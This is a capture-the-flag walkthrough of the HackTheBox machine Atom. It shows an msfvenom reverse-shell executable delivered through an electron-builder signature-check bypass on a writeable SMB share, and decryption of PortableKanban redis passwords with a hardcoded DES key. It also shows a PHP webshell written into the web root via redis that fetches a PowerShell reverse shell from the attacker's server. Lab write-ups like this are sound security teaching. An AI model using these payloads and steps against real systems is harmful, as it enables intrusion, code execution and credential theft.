Atom is a medium rated machine on HackTheBox by MrR3boot which got bumped from an easy rating to medium on its release day. In this walkthrough we first will abuse the electron-builder
update system to get a reverse shell as a user. After that we will follow two similar ways to root both involving interacting with a redis service after finding and decrypting a password found in a config file.
User
Nmap
To start our enumeration of the machine, we begin with a full ports nmap scan, followed by a script and version detection scan on the open ports for a full picture on the attack surface.
All ports scan
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
$ sudo nmap -p- -T4 10.129.132.110
Starting Nmap 7.91 ( https://nmap.org ) at 2021-04-18 11:31 CEST
Nmap scan report for 10.129.132.110
Host is up (0.20s latency).
Not shown: 65528 filtered ports
PORT STATE SERVICE
80/tcp open http
135/tcp open msrpc
443/tcp open https
445/tcp open microsoft-ds
5985/tcp open wsman
6379/tcp open redis
7680/tcp open pando-pub
Nmap done: 1 IP address (1 host up) scanned in 1827.50 seconds
Script and version scan on open ports
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
$ sudo nmap -sC -sV -p 80,135,443,445,5985,6379,7680 10.129.132.110
Starting Nmap 7.91 ( https://nmap.org ) at 2021-04-18 12:11 CEST
Nmap scan report for 10.129.132.110
Host is up (0.16s latency).
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.46 ((Win64) OpenSSL/1.1.1j PHP/7.3.27)
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Apache/2.4.46 (Win64) OpenSSL/1.1.1j PHP/7.3.27
|_http-title: Heed Solutions
135/tcp open msrpc Microsoft Windows RPC
443/tcp open ssl/http Apache httpd 2.4.46 ((Win64) OpenSSL/1.1.1j PHP/7.3.27)
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Apache/2.4.46 (Win64) OpenSSL/1.1.1j PHP/7.3.27
|_http-title: Heed Solutions
| ssl-cert: Subject: commonName=localhost
| Not valid before: 2009-11-10T23:48:47
|_Not valid after: 2019-11-08T23:48:47
|_ssl-date: TLS randomness does not represent time
| tls-alpn:
|_ http/1.1
445/tcp open microsoft-ds Windows 10 Pro 19042 microsoft-ds (workgroup: WORKGROUP)
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
6379/tcp open redis Redis key-value store
7680/tcp open pando-pub?
Service Info: Host: ATOM; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: mean: 2h20m40s, deviation: 4h02m30s, median: 39s
| smb-os-discovery:
| OS: Windows 10 Pro 19042 (Windows 10 Pro 6.3)
| OS CPE: cpe:/o:microsoft:windows_10::-
| Computer name: ATOM
| NetBIOS computer name: ATOM\x00
| Workgroup: WORKGROUP\x00
|_ System time: 2021-04-18T03:13:34-07:00
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb2-security-mode:
| 2.02:
|_ Message signing enabled but not required
| smb2-time:
| date: 2021-04-18T10:13:33
|_ start_date: N/A
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 98.90 seconds
Web
Port 80 and 443 look most promising so we will start there. They both seem to serve the same content, which is a note taking app. You can download and install it on mac or windows, however this step is neither needed nor helpful to complete the machine, so we will just ignore it.
Electron-builder
Listing the smb shares next we see a Software_Updates_Disk
share.
1
2
3
4
5
6
7
8
9
10
$ smbclient -L //10.129.132.110/
Enter WORKGROUP\jack's password:
Sharename Type Comment
--------- ---- -------
ADMIN$ Disk Remote Admin
C$ Disk Default share
IPC$ IPC Remote IPC
Software_Updates Disk
SMB1 disabled -- no workgroup available
Connecting to it we find a pdf and 3 client folders, also the whole share is writeable.
1
2
3
4
5
6
7
8
9
10
11
12
13
$ smbclient //10.129.132.110/Software_Updates
Enter WORKGROUP\jack's password:
Try "help" to get a list of possible commands.
smb: \\> dir
. D 0 Sun Apr 18 11:58:47 2021
.. D 0 Sun Apr 18 11:58:47 2021
client1 D 0 Sun Apr 18 11:58:47 2021
client2 D 0 Sun Apr 18 11:58:47 2021
client3 D 0 Sun Apr 18 11:58:47 2021
UAT_Testing_Procedures.pdf A 35202 Fri Apr 9 13:18:08 2021
4413951 blocks of size 4096. 1361200 blocks available
smb: \\> get UAT_Testing_Procedures.pdf
The pdf is a quality assurance documentation for the app downloadable on the webpage.
The interesting part is especially point two, in which is stated all updates placed in any of the client
folders will be checked and installed.
There is a vulnerability in electron-builder which is described in this blogpost. Crafting a malicious yaml and exe, we can bypass the signature check in the install process by triggering a parse error in the signature verification script, placing a single quote in the filename. With this we are able to run an arbitrary exe on the target machine which is in our case a msfvenom reverse shell.
In a first step we create the reverse shell with msfvenom.
1
2
3
4
5
6
7
$ msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.23 LPORT=443 -f exe -o gr\\'em.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 324 bytes
Final size of exe file: 73802 bytes
Saved as: gr'em.exe
We then create our latest.yml
.
1
2
3
version: 4.0.0
path: http://10.10.14.23/gr'em.exe
sha512: rL9b7/1ZDB/4CH16GB7mwJmHGNmrHgN6zADFn9Td+pWINPYP5lakIHb8xcGg8U0EyzwZwV69cUHV++dWdNsj5Q==
The hash in the file is calculated from our malicious exe like in the blogpost.
1
2
$ shasum -a 512 gr\\'em.exe | cut -d " " -f1 | xxd -r -p | base64 -w0
FalBnc5eihGRTHVNEm9m5ZCYe7Vo1+SmxpTyUM2Hk09UwZsnxYFjlxnbDeBLJ20PM2lsenR+aWg1fY6KimohJA==
Finally we set up a netcat listener and a python webserver on the specified ports and place the latest.yml in a client folder on the smb share.
1
2
3
4
5
6
7
8
9
smb: \client1\\> put latest.yml
putting file latest.yml as \client1\latest.yml (0.4 kb/s) (average 0.6 kb/s)
smb: \client1\\> dir
. D 0 Sun Apr 18 16:03:22 2021
.. D 0 Sun Apr 18 16:03:22 2021
latest.yml A 147 Sun Apr 18 16:03:22 2021
4413951 blocks of size 4096. 1359636 blocks available
After a short amount of time we get a hit on our webserver first.
1
2
3
4
5
$ sudo python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.129.132.110 - - [18/Apr/2021 16:05:15] code 404, message File not found
10.129.132.110 - - [18/Apr/2021 16:05:15] "GET /gr'em.exe.blockmap HTTP/1.1" 404 -
10.129.132.110 - - [18/Apr/2021 16:05:15] "GET /gr%27em.exe HTTP/1.1" 200 -
The revershell as jason followโs seconds after.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
$sudo rlwrap nc -lnvp 443
Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::443
Ncat: Listening on 0.0.0.0:443
Ncat: Connection from 10.129.132.110.
Ncat: Connection from 10.129.132.110:56997.
Microsoft Windows [Version 10.0.19042.906]
(c) Microsoft Corporation. All rights reserved.
whoami
whoami
atom\jason
C:\WINDOWS\system32>
Now we can grab the userflag on jasonโs desktop and start working towards SYSTEM
System/Administrator
PortableKanban
There are multiple ways to get system or administrator on the machine, I will cover two of them in this writeup.
Both of this ways start however with the PortableKanban directory in jasonโs Downloads
folder.
1
2
3
4
5
6
7
Directory of C:\Users\jason\Downloads
04/02/2021 08:00 AM <DIR> .
04/02/2021 08:00 AM <DIR> ..
03/31/2021 02:36 AM <DIR> node_modules
04/02/2021 08:21 PM <DIR> PortableKanban
0 File(s) 0 bytes
Inside the folder there is a PortableKanban.cfg
file which contains an encrypted Database password for the redis server.
1
2
3
type PortableKanban.cfg
{"RoamingSettings":{"DataSource":"RedisServer","DbServer":"localhost","DbPort":6379,"DbEncPassword":"Odh7N3L9aVSeHQmgK/nj7RQL8MEYCUMb","DbServer2":"","DbPort2":6379,"DbEncPassword2":"","DbIndex":0,"DbSsl":false,"DbTimeout":10,"FlushChan
...[snip]...
To decrypt it we can modify the script from exploid-db to only contain the decryption function and feed it our discovered encrypted password like this.
1
2
3
4
5
6
7
8
9
10
import base64
from des import * #python3 -m pip install des
def decode():
hash = "Odh7N3L9aVSeHQmgK/nj7RQL8MEYCUMb"
hash = base64.b64decode(hash.encode('utf-8'))
key = DesKey(b"7ly6UznJ")
print(key.decrypt(hash,initial=b"XuVUm5fR",padding=True).decode('utf-8'))
decode()
Running it decrypts the password instantly.
1
2
$ python decode.py
kidvscat_yes_kidvscat
With this we can now connect to redis with redis-cli
1
2
3
$ redis-cli --pass kidvscat_yes_kidvscat -h 10.129.132.110
Warning: Using a password with '-a' or '-u' option on the command line interface may not be safe.
10.129.132.110:6379>
Route 1 Redis Keyspace
Now the ways to system splits. We will first follow the one which seems to be intended.
Running the info
command we see at the bottom of the output below # Keyspace
, that there is one database with 4 keys.
1
2
3
# Keyspace
db0:keys=4,expires=0,avg_ttl=0
10.129.132.110:6379>
We can list all the keys with KEYS *
and print the key with ET KEY
.
1
2
3
4
5
10.129.132.110:6379> KEYS *
1) "pk:ids:MetaDataClass"
2) "pk:urn:user:e8e29158-d70d-44b1-a1ba-4949d52790a0"
3) "pk:urn:metadataclass:ffffffff-ffff-ffff-ffff-ffffffffffff"
4) "pk:ids:User"
1
2
3
10.129.132.110:6379> GET pk:urn:user:e8e29158-d70d-44b1-a1ba-4949d52790a0
"{\"Id\":\"e8e29158d70d44b1a1ba4949d52790a0\",\"Name\":\"Administrator\",\"Initials\":\"\",\"Email\":\"\",\"EncryptedPassword\":\"Odh7N3L9aVQ8/srdZgG2hIR0SSJoJKGi\",\"Role\":\"Admin\",\"Inactive\":false,\"TimeStamp\":637530169606440253}"
10.129.132.110:6379>
We find a password for the administrator user which is encrypted again. However we can decrypt it the same way we did before only swapping the value for the hash in our short python script.
1
2
3
4
5
6
7
8
9
10
import base64
from des import * #python3 -m pip install des
def decode():
hash = "Odh7N3L9aVQ8/srdZgG2hIR0SSJoJKGi"
hash = base64.b64decode(hash.encode('utf-8'))
key = DesKey(b"7ly6UznJ")
print(key.decrypt(hash,initial=b"XuVUm5fR",padding=True).decode('utf-8'))
decode()
Running it gives us the administratorโs password this time.
1
2
$ python decode.py
kidvscat_admin_@123
There are multiple ways from here to get a shell as this user on the machine. You could for example use psexec to gain a system shell. Since the second way involves a shell as system anyways we will use evil-winrm to connect to the machine as administrator.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
$ evil-winrm -u administrator -p kidvscat_admin_@123 -i 10.129.132.110
Evil-WinRM shell v2.4
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> whoami
atom\administrator
*Evil-WinRM* PS C:\Users\Administrator\Documents> dir ../desktop
Directory: C:\Users\Administrator\desktop
Mode LastWriteTime Length Name
---- ------------- ------ ----
-ar--- 4/18/2021 2:28 AM 34 root.txt
*Evil-WinRM* PS C:\Users\Administrator\Documents>
Route 2 filewrite => RCE as system
The second route also works with redis but it slightly different. With redis we have arbitrary file write in the web root and the webserver is running as system. This makes it easy to create a simple webshell in the webroot and get codeexecution as system
1
2
3
4
5
6
7
8
10.129.132.110:6379> config set dir C:\xampp\htdocs\
OK
10.129.132.110:6379> config set dbfilename grem.php
OK
10.129.132.110:6379> set grem "<?php system($_REQUEST['3474545cadd66826dade9d3d87e89feb']); ?>"
OK
10.129.132.110:6379> save
OK
Calling whoami on our webshell we see that we have indeed code execution as nt authority\system
.
All that is left now is to send the request to burp for convenience, change the request method, download and execute the nishang Invoke-PowershellTcp.ps1 reverse-shell from our webserver to get a shell as system.
1
2
3
$ sudo python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.129.132.110 - - [18/Apr/2021 17:35:30] "GET /grem.ps1 HTTP/1.1" 200 -
Shortly after a hit on the webserver we get the shell as nt authority\system
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
$ sudo rlwrap nc -lnvp 443
Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::443
Ncat: Listening on 0.0.0.0:443
Ncat: Connection from 10.129.132.110.
Ncat: Connection from 10.129.132.110:57270.
Windows PowerShell running as user ATOM$ on ATOM
Copyright (C) 2015 Microsoft Corporation. All rights reserved.
whoami
nt authority\system
dir \users\administrator\desktop
Directory: C:\users\administrator\desktop
Mode LastWriteTime Length Name
---- ------------- ------ ----
-ar--- 4/18/2021 2:28 AM 34 root.txt
PS C:\xampp\htdocs>